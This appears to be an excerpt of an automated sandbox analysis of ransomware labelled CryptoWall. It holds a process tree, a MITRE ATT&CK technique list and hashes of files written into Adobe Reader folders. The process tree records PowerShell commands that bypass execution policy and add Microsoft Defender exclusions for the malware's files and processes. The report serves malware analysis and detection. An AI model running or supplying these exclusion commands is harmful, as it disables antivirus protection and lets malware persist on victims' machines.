C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '4.exe'
4⤵
PID:7508

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
PID:9600

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:9268

C:\Users\Admin\AppData\Local\Temp\3.exe
"C:\Users\Admin\AppData\Local\Temp\3.exe"
3⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
PID:4528

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\3.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:5492

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '3.exe'
4⤵
PID:7704

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
PID:1280

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
PID:8132

C:\Users\Admin\AppData\Local\Temp\2.exe
"C:\Users\Admin\AppData\Local\Temp\2.exe"
3⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
PID:3600

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2.exe'
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:7892

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '2.exe'
4⤵
PID:9616

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
PID:8048

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
PID:9768

C:\Users\Admin\AppData\Local\Temp\1.exe
"C:\Users\Admin\AppData\Local\Temp\1.exe"
3⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
PID:1636

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\1.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:7828

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
5⤵
PID:6708

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '1.exe'
4⤵
PID:8412

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
PID:8

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
PID:6556

C:\Users\Admin\AppData\Local\Temp\CryptoWall.exe
"C:\Users\Admin\AppData\Local\Temp\CryptoWall.exe"
2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:4248

C:\Windows\SysWOW64\explorer.exe
"C:\Windows\syswow64\explorer.exe"
3⤵
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1204

C:\Windows\SysWOW64\svchost.exe
-k netsvcs
4⤵
- System Location Discovery: System Language Discovery
PID:2564

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4568

C:\ProgramData\svcsys
C:\ProgramData\svcsys
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:7296

C:\ProgramData\svcsys
C:\ProgramData\svcsys
1⤵
- System Location Discovery: System Language Discovery
PID:8844

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Direct Volume Access

T1006

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Windows Credential Manager

T1555.004

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\duplicate.svg
Filesize
2KB

MD5
6a8a4e5add10501d30e9065095e99901

SHA1
07d7ae6bede2e70305cb1c5433a99cee7ac15f5a

SHA256
494db92a7b29009bd6f55098fbd7a4780a5d8f8350be0fc1f91b744dfb4d9f28

SHA512
bbc947f2f079087f82bd9446f6d8950d6606e9b840131e78250af332bd7b936364b488ee8311d86a85ae97e2f6dcf3071d72386e1d322fff882959af73b5b837

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\themes\dark\aic_file_icons_retina_thumb.png
Filesize
51KB

MD5
d78a78c191b5c9e282e3f37d82ed84d5

SHA1
4bd037d3bbd29d7b50b69a21952a29011083e228

SHA256
1f2f706ba47cc6c12692d5263c10d38da6f45cf5e88a594aac9ab78044a85412

SHA512
e6a1f0654df3a8b1740591edf701ea1e0d84319d7bc880107f987c66ad9d4c89aee17e8b6dc4374cd60e88c7c3f3f5c15b02a6bc6b4ec93948691f781f79ae07

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\remove.svg
Filesize
1KB

MD5
f2d03dd980ae213bfac7743af1097506

SHA1
4b2b5fd19f48cdd040b9697785ac6e005dbf536d

SHA256
1111f02ead047e7b5a91d1ee5bc9aed289c5fe8d222d48a9d5e1f178e492cec3

SHA512
dd9e69eb117c0086d04c43370ee98430ae14ab49de8164c1a85ce3c75fb0ec0df12b09bd7c413c1e3510b2d2232fbd0a8fa708768860b0cdea9bdb147f59b8fe

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_backarrow_default.svg
Filesize
1KB

MD5
d1ab8b332831701c66292003d3ed24b1

SHA1
9131f7a8d01772f2ef3c358a842c52d3507c5ff6

SHA256
7000147bd5a8040973a3cdf6cee90a9eddaec6d024b8c46101a916fdf9bc7c4f

SHA512
75a08b80fbc616099fdfc0588703be4ea3bfc86360234b8ec63319cd6ae780cc4fd30883abeb81ea56030b7dd9bd49e1ad16707c2f5d5de2fb8635559913fc31

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_closereview_18.svg
Filesize
1KB

MD5
f7e81002ac30265de0b4c3db0739559d

SHA1
87692f893292937e5ad8772e945c0551744f926b

SHA256
92c438c529f9b9fea0a7d6ea3a4c01eb55c7ea46b30523e716c6eebf4a14f4f1

SHA512
068b4dc2fa5a55cb2948d226fba2e90da6ffc8580d305329bd5c095cb61d803047fead6f5fe4720dee31e5b7649acd92926bc24a7a4cf52640ffe6ca560ffe50

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_comment_18.svg
Filesize
1KB

MD5
6cbce2a1c01f1f913208fc566874690b

SHA1
0607efceb0dcc3821903e0bc1f2d416af2c6ee63

SHA256
29a199ed9fd11e310b1342a4a4c60883f8fc81dcf193f7cfddfdc4ba2fd18b58

SHA512
c820e757c5b61ce02a7d4f27a72562ff85b979b06d0975832a6b976d76ab78be587d17af3f7695d488390b9f3d7847040753da442f6bf40ea7c3ab0d8381cae5

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_editpdf_18.svg
Filesize
1KB

MD5
b591fe4cfa31a783b17dbb3cb34c7065

SHA1
3a0d0e607ef581ca758867cc4fb54764bfb86429

SHA256
e78a22a2b9c5839b0d2b33880c4124ee377fc210c44d9db0616a448cdb99e280

SHA512
37880e08aa66f5a69b61095974349ee9a261b94fdd401c4ba1b942330ab1c60c06a54893f8214bf5e2a988058fa4c47964bcb5b30356b848630c6bf53ea72d94

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_export_18.svg
Filesize
8KB

MD5
033babe3cc23a3227b2f8d15a58c2dc0

SHA1
5779a1f8f2056dc12c29d03df5407a8d71d90f2c

SHA256
c717f9b704f1bc2893049bf045ec6a9ba5b9640375ed6437a305b95152f885d9

SHA512
cc673867d8b01a418b7065e3e2a79ae91e064e90ea625f83656e3ce7d8a510c46f3b2d9e76ae4ce0cab5b8620bfa145cf74bd55f94f60d0338d87562845a0aa0

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_fillandsign_18.svg
Filesize
2KB

MD5
0de266309437da940eb245c0d1f9e3fd

SHA1
deead0a73404f583768f5fba30b68196aa627454

SHA256
f49976724dccabbe7a9d958f2a6fa0a6a37215cc338d9ad8cc520b7948b3ed41

SHA512
bf1db7dc4aa8d5eb0dec5980acfb367a3153e76a194da993a50767c1eece8455383dcaeb21e341c093f48ade4f42571ee79c7d98970a8153c792cc165d603241

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_move_18.svg
Filesize
1KB

MD5
a8baf6bc5991951d7f577e00882602a0

SHA1
2979d552ed5593342326e74985a7dcc69878bfd6

SHA256
c41b8e33c2ffe2001d86883977bd8c381c712d5df0a3ccec5d12a5fa32d69c6c

SHA512
f2a3feade3cb89bd532dad40b41142399fd45df0553b637ea7b3ca1bcfc1c21e5d906b9a9626ef3361a78666c2bfaf9205a6df79881daa98613cbc5d01a206da

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_newfolder-default.svg
Filesize
1KB

MD5
b19e54e4b240d5bb7c7b656c1fbc081b

SHA1
4698c4c3e6ac93637af1544bfaf70682906913cf

SHA256
fb019244e3c1caf16a56a2957a057c3c7a9672a4a9237a6c0892605a16ddfa0d

SHA512
ee225d4796b1f343ea6e93c96500b804a39aec0da4e57a4a4603b2e86b3d33dae02ad1196c608871c05d70adba47b0226a08b7020528e3a7f730e5beffe710de

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_nextarrow_default.svg
Filesize
1KB

MD5
8cbd84ad87f0894ac599478b9ab8d36d

SHA1
a71853608f359a8a73cdd08ccfc8c9803c8659f4

SHA256
a184f62f6b9107a4f8dfd6216bf89ff611002dcfcf23a9b9beb06d4ebc8f1a8b

SHA512
3ad66db0571b7de056b7640098da3ffcaf1d16c635e558c47b8c011c7f1e3bc7727cee30847b175b4e49d616eb4224b5419b7c9e8e9f0b11df2e4885037abca8

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_organize_18.svg
Filesize
2KB

MD5
77ee4d59e56073085c685d24762970d6

SHA1
62b46d5d9dda8209d35618b3d1ccbdd62f7894e5

SHA256
07ac1d50e615a81737e8ec72d7917cce3849f9047e77420b6b6bc6a9c226bf28

SHA512
f7596ba8fd12f5f25a225bf515f6a30dffed17c29c899d0ddbebfa5928383567c6b6145edbbd5277bb5140671cfe09f2fe20ed0605a15a29b2c8afbde61b0440

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_rename_18.svg
Filesize
2KB

MD5
7300ff3ed1f6837f74a889c94b9c5933

SHA1
e08d84f39d08d305b6ae58a1aa7b5e1d821e98ab

SHA256
23c31b34b91c720a2e69ff020e33383aaeb8d72cb05751fae13035675e51743a

SHA512
37840b98cff511e055d39a3e92a6f04eb54d03b92d68b06c1b9faf21db481ec9b689fe22ec5652bad2636ecf752d46c71c85340c10a2f32bcb3cb0efff6f4b41

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_sendforsignature_18.svg
Filesize
2KB

MD5
aeba5b28637634245847cceb8e7648a8

SHA1
8188ca413f02babe708be081c3cb7dfe417a44fe

SHA256
36fc07fc4aa1ebcd60700220ee76240640a881fd9414acf2b112722d4003bca4

SHA512
213898bb604005d5e693841b9ef76e2b0fa13fc397161e2f1c37a2d9e92bcb424c4244689aea6fa9ac328bfabd06647db15bb733a1e498a731165bd9f446324b

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_share_18.svg
Filesize
1KB

MD5
fd54cf1480d57bab15d55c3bea26dd8f

SHA1
18584379948070c021be17ddee7b9ed79574c840

SHA256
d4f2052ac2f96913149796521fba46b8678096dea81aeea6366ffa0cce6c5faa

SHA512
14a11f73e365345185fd515a575e1aac83247e9aada6262dab49d22328087487d9d114a9b6db89e41ec5bc18aa727468a7764a0f8f8e6221772a0be21a94a6ea

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\selection-actions.png
Filesize
2KB

MD5
fe8b07721d7401d75d1c12d92d61667e

SHA1
8c626b327e5a507802638d23bdaa13c71048ecd6

SHA256
a6a5a653a834b76c41329e50da5f21a28558f10e966f7d561ec8254641382642

SHA512
2b1bc1bc9ff94eace97d36b97a09c0798cf96a3fdf4efc46f4394bfaa6d96ddc2428e20cbb10376ef71ebd5b0cc502e10950b6cf0bb59382ab66ab769ae39b0a

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\selection-actions2x.png
Filesize
4KB

MD5
cde16aa59e28a1f2e3dbd324c8e521ee

SHA1
cb55b7b7cdd73c064b4d51971c4016b36ebaa5b7

SHA256
1b8446518e32c5ba3b60c39c65242be77374517195e4fe76cf7a19aca03c42c1

SHA512
01b92fc7a9e29f3619e78181d9a65648ca3edc3a350c7df335b8b5354bb934507f9b60d35eedaaee5140b0d89e92e5a6c7d4b1e1b8052788fc60a3609957c679

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\root\ui-strings.js
Filesize
3KB

MD5
6798f38d1a3317351198b54eb189335c

SHA1
5b6b6ddac005c5944f7ec6263ba9bbce2c959d85

SHA256
86f769b6d27ad1d6391a0998d253bf0f753201d34a64ccff5e84320908a2358b

SHA512
a2a6972214f1e0dcb1ecf2246449e8fe2ab39bc8ae02197d9c4b3033e0b8291020774a40ef649921ca49e3745e10029e7b1be81c68b818f0def2d09fa1f6b0fd

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\root\ui-strings.js
Filesize
28KB

MD5
53e61a781807e5e723a49d03e417fedd

SHA1
0975dd478c25652f58bd22dc2102f6a60f0aad09

SHA256
b9d832977531d5b1b904c24368df4f7bd4d6d95159cadd58e807127eafecf5a2

SHA512
f6a97e4e0963c51bc2c3ed3bce246f8e0bcd734f871c5a3108be8b1cbc41726e28d0175ad4575cf97d79e0b0be280a2eb48d758e214652bc118205b3cedc48e3

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\root\ui-strings.js
Filesize
8KB

MD5
d03fc141ff03af3701a6435a969e2e93

SHA1
03a8224c02d4710f7de61baca1393f3c21798570

SHA256
fed0d29a7dee8510f76fb4b7c62be656d8aa5df3f823acbbcb93570e2674b9f1

SHA512
990fd55cdc3f31fc5e057ef9467a264af2fd20ca423116b8b5e9fda0bed83a826c2a7ba54e3a154b29803c8019ea16214a29180a505dcee84f2ffde510a8afd2

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\he-il\ui-strings.js
Filesize
1KB

MD5
23e5e60ce3e72b1feb0f8647ba6ce186

SHA1
262d3eb52ef25c85f063e203992a828749d7f7a0

SHA256
15f3d8c40e6862a899529d61e0be0ba0e21bb773f6b19d3b6a04d5d58504018a

SHA512
1e03c7efdeefcd687c0e64bd4b5d98b6ad82e8c609a99e9c38455f2f18a905223dff25834017335e41d4de679052b90c41cb4c233a9f377df06637dbd653cdf6

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\root\ui-strings.js
Filesize
4KB

MD5
cb7d5867757adf0ff12ba6699023b77a

SHA1
0b76babc3b6abd7214be595e684fb187af22c61f

SHA256
907132a2efe4add0d73c0871fab4a9f54b4979d15eb47afc1508446f412af445

SHA512
934360d363da80c84bddb1603490f76b1492e61f9b914ef6c556054f31654b588cb6fdcab46f267ec0e96e26ed7ea601b9e10a509eb4605410b4b1df6edced09

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\root\ui-strings.js
Filesize
2KB

MD5
b4e689bf9561aa6eaadbef27c672ff42

SHA1
3fe93e00f746faadf3108d3fafd89e3a3a300ab2

SHA256
85fa2f341d74582b532e519a48cb85d4f58c94c572f8bac243ee97b1ec1c4c46

SHA512
64325b818857929e9154452d7bc2588bff530d425a683e5fcd90a21aa81e8e52e0100bd72fd7dd0eb712b284bb4e8e150ffe490da550f289e766736400e224b6

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\convertpdf-selector.js
Filesize
174KB

MD5
e4124474549a1d0c90ab75162f656cd4

SHA1
9cebc624e1bbb694fb592d682e47b8cc5e3e1f07

SHA256
8660a31b251ed633112f914ba7f42587d2dd13d3f7f8c1bf57266740bf650bc2

SHA512
21f51fd4fb5fef3d8116abb56c3a2c60433a6edc9938e7797b0ea95903502cd49d4456b2e0305a07487501e10c74fb4e2d54b5e9e5f55880fc81434f1e6f0f30

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\convertpdf-tool-view.js
Filesize
374KB

MD5
0442e619cc330f74c2a1911f4d1e5a0a

SHA1
6d98226c446fa7455759d1f1647484cd0fd55a6f

SHA256
b9573172270ce7ed977c539f51537ce19ad86ff9f1448f05162a1397851804ef

SHA512
f99c54461d3e4537242078f38db88dcbdca5223a2065744044106745c183b2a5ef52923d9fe258e1ebfd30bcde5cef06ff8eaeade6d2a8b8b3a8e8550962f596

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\js\nls\root\ui-strings.js
Filesize
3KB

MD5
d7f91379838271b59251be34db21bfb5

SHA1
01e03bce4c72a87ee2826d93a60dac2aef2a72e0

SHA256
fc0d85588f6d6add91954e7f4b7aa1bb0de5584c3dee0523baca48bc8aa96646

SHA512
dc58cec441b0740e47f04a3e0135f2cbf522d0341d0b370813b39660bbc99c4274d6526e21c4037c381e4f7d492567e6694c5b89bf53a1c920f772bb145c7e43

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\root\ui-strings.js
Filesize
1KB

MD5
e9a5758be003b3121719185bceef4f9c

SHA1
6bbde35b7dbe19651f4d77e5e242a9e76dc30705

SHA256
f4f3c847af5cf3e59e112af33d0ae7cbf80b71504f4cb7708b9d1a1c110c98ef

SHA512
1a3eda1e8c2a501915645e477566d930b43c9cdf9160452c1f474458af3248e05962e05757885bac59386f00af69e59e4584dcff6516738cbec174b2a952af4a

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\rhp_world_icon.png
Filesize
966B

MD5
a49545f288c2caaf532cb89a4c111637

SHA1
ce92299a31c31b1db6c5c889830aed90f65e292e

SHA256
8527e196f01b93eff0aaab36cd28833382dc5fb659b880ef3937442fe8cf5049

SHA512
7b8156b8546d667cd7e3dc544800f1c6174b5bf72db998c5ddf287f52782be1a3c8fd5722d675f5e9e5d4707cdb89008212f5b9ed8bb354e06a3ce9727ee30bf

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\rhp_world_icon_2x.png
Filesize
1KB

MD5
a0f8b9e8e914f2b1bce096361ab50cbc

SHA1
b20cfeabd65c9a472617c1f6ffe950f2fcc458b1

SHA256
58b0f5f08718d4f827d4e2a80414c54305a4d7b0479a0cc7ca978651a910a68e

SHA512
9b9b817a760efce911de54bdc750279eab34fed520f211a34d313cb628096dc79859d961a9e75369c091701d44e4847b31f61680ac0934d88730e053aa300a8c

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\rhp_world_icon_hover.png
Filesize
909B

MD5
3a4dc814d79b06297fe9b159f1f114b1

SHA1
babc7e2af0cd34071ea4e5e08de3fe8a6adc03b7

SHA256
019724968ae6b722475facd4e3f3b3811f2906ed65b06bc7523c357f25e6415b

SHA512
c2b8262a14d0e2e76f19f36dab24fd61f8be03eeb9d7295fe07e49569b9cf654f043646de7a7640e9de03d1172cbdac48a052455fe9cc2011852452b770119e2

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\rhp_world_icon_hover_2x.png
Filesize
1KB

MD5
e8ea531b09b1344f98c7799e07ab14bf

SHA1
442d2cd42d2813abb0235c06b37e9c7017f30674

SHA256
fa3ce1715de1cfb4cf75ec89102ecfcc546231ba5fcc97e8489d7f47536938c9

SHA512
802dd116d1c8a5ac1068070e776165a264de79d8c6ab31094133017bb47df8320c2f6cf92d0b46cb9325ae0b6cc3e9a6560544d98e445d734ab905f5269b932a

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\example_icons.png
Filesize
1KB

MD5
5e18a9604dbba0c5c7ba7ae110019979

SHA1
822d800fa984826cd0369f24988d119e68d573ae

SHA256
0e74d3968e96d62577f7d736dd896231d1acdd57645a2a458a15c85254531c87

SHA512
9af9acf1312fb297055fd97dee4153415bbd99eccd5e5250e45c88e9609632b12b6af8f6596955898f3f5049bfd028d53747de0b7ebb48cfe472389485888a6b

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\example_icons2x.png
Filesize
1KB

MD5
d8f130af831aee2bb2606de9d8e604f7

SHA1
6cf039ec64e3a2faf2bfcdd7e6feb077b4b460a5

SHA256
d89f4b79bd85ec867ae5e5bde974d0004486c1c8b7fe882a36e9dcd8f57704bf

SHA512
8a3dee3864f640afb92971bc55c72669ea66b19e6205d64479814584b078faeaf08cb1e2b775b34ac565496e3819bed7d1245a694b377a80fee6223677d76a33

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\rhp_world_icon.png
Filesize
909B

MD5
b891643230d0325e8b789897bdee1c7f

SHA1
b4f376ae1692ed17f84f3852734a99a7c15105f6

SHA256
ffd3899fdf6400f75c6e756d950060b557517d121902038d8c1852d42226cc85

SHA512
1e5f97f820325b5b77aea487f9d1db73d589c32c02d544c21440ce4516e608e88fdebc60cd594f432616636eb959229b83af9860add7e768a04f1c9d8145a55b

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\rhp_world_icon_2x.png
Filesize
1KB

MD5
b0e4e6bad43346e0f008b6e56b3494cc

SHA1
3f0830adbddeacfc27f12b303e2fc7c9ae5c3d1d

SHA256
89fe28322fc2e6b59038a9543dfbccc484b6de87ec1404137c9ec75ebb94d5b1

SHA512
d4f2b37113bd243efbec57d24774d52823973a8bc2893e77d4582ca22492ed4577b55195b0e6dceb4735275baed04b2ac61546dff84b5722d08e09f7c4bfe174

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\rhp_world_icon_hover.png
Filesize
909B

MD5
900e9c83f35728aa695134f10b38f5bb

SHA1
3566611d568c752f0b0ac2b9ba21ee1f8f674c83

SHA256
eaa89784a2f3db530116aeb20db57ab63ed108183a3444dd72e4da9968fa805f

SHA512
228fbc5872b9eb07105170fb1732b0c586d256c30a40845909027509f4ab0a91fe4056fcadd6543b1e61b197693c89b9f46f2d5065acef7dc6b4db565be55d18

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\rhp_world_icon_hover_2x.png
Filesize
1KB

MD5
8129d9782c517527387e830371e15c15

SHA1
c27bbd3e0e5a00975d5774a0d2b11a4ad7eb0b45

SHA256
fb138e525390fbfa54ff710fd69fcac1a25588e0671b73b72944d73e4f32dd4a

SHA512
db7b299c95a418c8d77443928c125b2b0e4f4980d9647a84d93dc95faa5e9485f5ab498fb2cb37860a78648973d02e101f6b2560744b7d965fb4afb47db1d2af

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\fr-ma\ui-strings.js
Filesize
1KB

MD5
32ef2d3f68f27d0078885c21bc983779

SHA1
b4ae48038b32919cb75bf2d6aa7a0a1751e41922

SHA256
eb888667632dbce52619671a7c010350011414325321283895f163e8d69797ea

SHA512
43efcdf890521241a5373e5fa24b089512056344cb42733e648dbba623c46248d601d5828324754b2c48c57e580cd281c9b1eba6ab5dfb26464e01f36f1955bc

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\root\ui-strings.js
Filesize
1KB

MD5
1ab4214275bdba8ddc80e416efb3454d

SHA1
fa7d52a395d642bc0dfb3515a4cf6d9ad05ea2ad

SHA256
766d4d3021e83ead933c4446d19582ccab450f7f48a9f9b67136059dea765487

SHA512
3f116e014dc723cad242c39d0a98e3fd0e92a955325ccb9d822ffeed203069d9d86f011e636ff43753f41f532bd323113414d7cf54414b2cb3ae3b04db4ca36a

Download Submit
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\images\s_checkbox_selected_18.svg
Filesize
1KB

MD5
cb82733e891a3858c198a914bd9f6f8d

SHA1
559bf8aa93c672c4bbe6b3c3e52aa823eb7fa68e

SHA256
5de7e66a25a6509c6ca2531495cd688d048c4bf4714918828ade7c0ae7368bb5

SHA512
23ed5479a60ad084abef4b0cc54f3fa111f42c793b0c4f15612ee8106b82a1a8d983b2840f056201dcd834dd1bff86d85a7d3310a3230a6651d4ac40bfa032b3

Download Submit
